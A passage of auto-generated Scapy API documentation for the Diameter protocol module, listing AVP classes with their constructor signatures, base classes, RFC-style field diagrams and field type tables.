+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. AVPV_StrLenField                       


AVPV_StrLenField fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	I3FieldLenField

	None



	avpVnd

	AVPVendor

	0



	val

	StrLenField

	None















	
class scapy.contrib.diameter.AVPV_Time(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L585-L587]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVPV_Time                          


AVPV_Time fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Time

	None















	
class scapy.contrib.diameter.AVPV_Unsigned32(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=16, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L545-L547]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVPV_Unsigned32                       


AVPV_Unsigned32 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	16



	avpVnd

	AVPVendor

	0



	val

	Unsigned32

	None















	
class scapy.contrib.diameter.AVPV_Unsigned64(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=20, avpVnd=0, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L565-L567]

	Bases: AVP_FL_V


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     AVPVND                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. AVPV_Unsigned64                       


AVPV_Unsigned64 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	20



	avpVnd

	AVPVendor

	0



	val

	Unsigned64

	None















	
class scapy.contrib.diameter.AVPVendor(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L143-L146]

	Bases: IntField


	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L144-L146]

	








	
class scapy.contrib.diameter.AVP_0_10(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L926-L937]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_10                           


AVP_0_10 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_13(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L940-L947]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_13                           


AVP_0_13 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_15(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L950-L965]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_15                           


AVP_0_15 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_258(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L644-L647]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_258                          


AVP_0_258 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_261(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1092-L1106]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_261                          


AVP_0_261 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_266(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L650-L653]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_266                          


AVP_0_266 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_268(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L656-L727]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_268                          


AVP_0_268 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_271(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1109-L1115]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_271                          


AVP_0_271 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_273(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1118-L1121]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_273                          


AVP_0_273 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_274(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1124-L1129]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_274                          


AVP_0_274 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_277(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1132-L1135]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_277                          


AVP_0_277 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_285(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1138-L1141]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_285                          


AVP_0_285 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_295(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1144-L1161]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_295                          


AVP_0_295 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_298(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L730-L816]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_298                          


AVP_0_298 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_345(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1164-L1168]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_345                          


AVP_0_345 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_346(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1171-L1175]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_346                          


AVP_0_346 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_375(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1178-L1199]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_375                          


AVP_0_375 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_377(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1202-L1206]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_377                          


AVP_0_377 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
class scapy.contrib.diameter.AVP_0_384(_pkt, /, *, avpCode=None, avpFlags=None, avpLen=12, val=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/diameter.py#L1209-L1222]

	Bases: AVP_FL_NV


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            AVPCODE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    AVPFLAGS   |                     AVPLEN                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      VAL                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. AVP_0_384                          


AVP_0_384 fields






	avpCode

	IntField

	None



	avpFlags

	AVPFlags

	None



	avpLen

	X3BytesField

	12



	val

	Enumerated

	None















	
